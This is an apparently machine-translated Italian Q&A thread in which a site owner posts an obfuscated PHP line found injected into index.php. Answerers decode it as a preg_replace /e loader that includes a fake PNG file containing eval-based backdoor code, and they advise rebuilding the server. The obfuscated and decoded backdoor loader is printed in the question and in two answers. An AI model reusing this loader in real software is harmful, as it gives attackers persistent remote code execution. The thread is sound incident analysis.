it-swarm-eu.dev

Trovato sospetto, offuscato PHP. È un tentativo di hacking sul mio sito Web?

Ho appena notato che la riga superiore del mio file index.php è stata modificata in quella che segue.

<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

Mi sembra molto sospetto e in genere so cosa preg_replace lo fa. Tuttavia, non so come decodificare il soggetto, il motivo o le stringhe di sostituzione.

Qualcuno può dirmelo

  1. Cosa farà effettivamente questo codice?
  2. Come è possibile che un presunto bloccato PHP possa essere aggiornato sul server?
73
Scott

Cosa farà effettivamente questo codice?

Hai una backdoor che consente l'esecuzione di codice in modalità remota

OH THE NOES IVE GOT AN RCE


Ringraziamo borjab per la decodifica iniziale

<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Nota questa stringa codificata in base64 che abbiamo trovato nel primo file:

L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc

Quando decodifica quella stringa, punta a questo file:

/home4/mitzvahc/public_html/assets/img/logo_small.png

Il file "immagine" non è come sembra.

kayge ha sottolineato che il file è ovviamente accessibile online. Quindi ho scaricato la tua "immagine", che è dove sta avvenendo il vero hack. Il primo script sta provando a caricare il contenuto di quell'immagine.

All'interno dell'immagine pretendente, ci sono due istruzioni eval() che consentono l'esecuzione di codice arbitrario completo quando si controlla $GLOBALS[ooooOOOOo(0)].

Questo succede solo se l'attaccante tenta di impostare quella variabile. Il 99% delle volte quando vedi eval(), tutto quello che devi veramente sapere è che l'intero server web è compromesso dall'esecuzione di codice remoto. Ecco cosa sta facendo:

eval(gzuncompress(base64_decode("evil_payload")));

Naturalmente, sei già stato compromesso attraverso una qualche forma di exploit , ma questo dà all'attaccante una backdoor offuscata nel tuo web server a cui può accedere continuamente, anche se dovessi correggere il problema consentendo loro di scrivere file in primo luogo.


Quali sono i contenuti malefici degli spari?

  1. Puoi vederli qui .
  2. All'interno di quanto sopra, ecco n'altra discarica di codifica (Grazie, Technik Empire )
  3. Technik Empire solo ha contribuito notevolmente alla deobfuscazione dei contenuti in # 2 .
  4. nneonneo ripulito ancora di più .

Perché sta succedendo?

Come è possibile che un presunto bloccato PHP possa essere aggiornato sul server?

È troppo ampio per rispondere senza avere accesso a tutto. Potresti avere un indurimento errato sulla tua installazione Content Management System , oppure potrebbe esserci una vulnerabilità da qualche parte nel tuo stack web. Non mi interessa visitare il tuo sito web considerando quello che sta succedendo, quindi puoi controllare questi collegamenti se fanno parte del tuo CMS:

  1. Joomla Security Checklist
  2. WordPress Hardening
  3. Django Deployment Checklist

Se il tuo CMS non è elencato, cerca liste di controllo di sicurezza/hardening per la tua installazione CMS. Se stai utilizzando no utilizzando un CMS, ma piuttosto il tuo codice, è compito tuo correggere le falle della sicurezza.

Potrebbero esserci diversi motivi per cui questo sta accadendo ... ma la linea di fondo è: o il tuo host web è stato violato o hai un exploit sul tuo sito Web che consente a persone maligne di inserire codice aggiuntivo e dare loro il pieno controllo il tuo sito web ... nel frattempo, sono attaccano i tuoi visitatori.

138
Mark Buffalo

La risposta breve è: se il codice è stato aggiunto da qualcuno che non conosci, allora è dannoso, non importa cosa faccia.

Il tuo server è stato compromesso e devi eseguire una pulizia completa.

Per quanto riguarda come è stato aggiunto, non c'è modo per noi di sapere senza un'indagine completa del tuo server.

80
schroeder

A PHP è stato modificato, quindi hai riscontrato molto più di un tentativo di hacking .

La macchina è compromessa.

È necessaria un'installazione pulita del sistema operativo; e per ricaricare il codice del tuo sito dallo sviluppo (o da qualche altro backup).

Se hai tempo e sei paranoico, probabilmente varrebbe la pena considerare che il tuo database potrebbe contenere un codice di attacco XSS che potrebbe essere rilasciato agli utenti finali.

22
trognanders

Sembra che questo codice offusci il seguente codice usando l'operatore XOR su due stringhe come binari:

<?php preg_replace("#(.+)#ie", 
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Puoi provarlo in un sandbox PHP . La stringa grande generata sopra è una stringa codificata in base64 :

/home4/mitzvahc/public_html/assets/img/logo_small.png

Perché sta usando preg_replace? Sembra esserci un problema di sicurezza che consente l'esecuzione del codice ma potrebbe essere solo per l'offuscamento del codice.

19
borjab

In questo caso, sì, tuttavia, non tutti i casi. So che alcune persone incontreranno questa domanda, quindi questa risposta è destinata a un pubblico più ampio:

Gli host Web fanno cose funky e ho avuto un lotto di host web. Potresti voler risolvere temporaneamente il file fino a quando non hai avuto la possibilità di richiamare il tuo host web e determinare se avevano qualcosa a che fare con esso o no.

Apparentemente ci sono alcuni modi per hackerare PHP incluso uno che ti consente di accedere a tutto sul server al di fuori del percorso del tuo account (sull'hosting condiviso ad esempio) e potresti vedere codice di altre persone, quindi a volte è possibile che il tuo account possa essere hackerato per guardare n altro codice dell'account che è un altro motivo per evitare l'hosting condiviso se te lo puoi permettere.

Per impostazione predefinita, supponiamo che non sia un file sicuro e spostalo o rinominalo finché non puoi confermare con il tuo host web.

0
John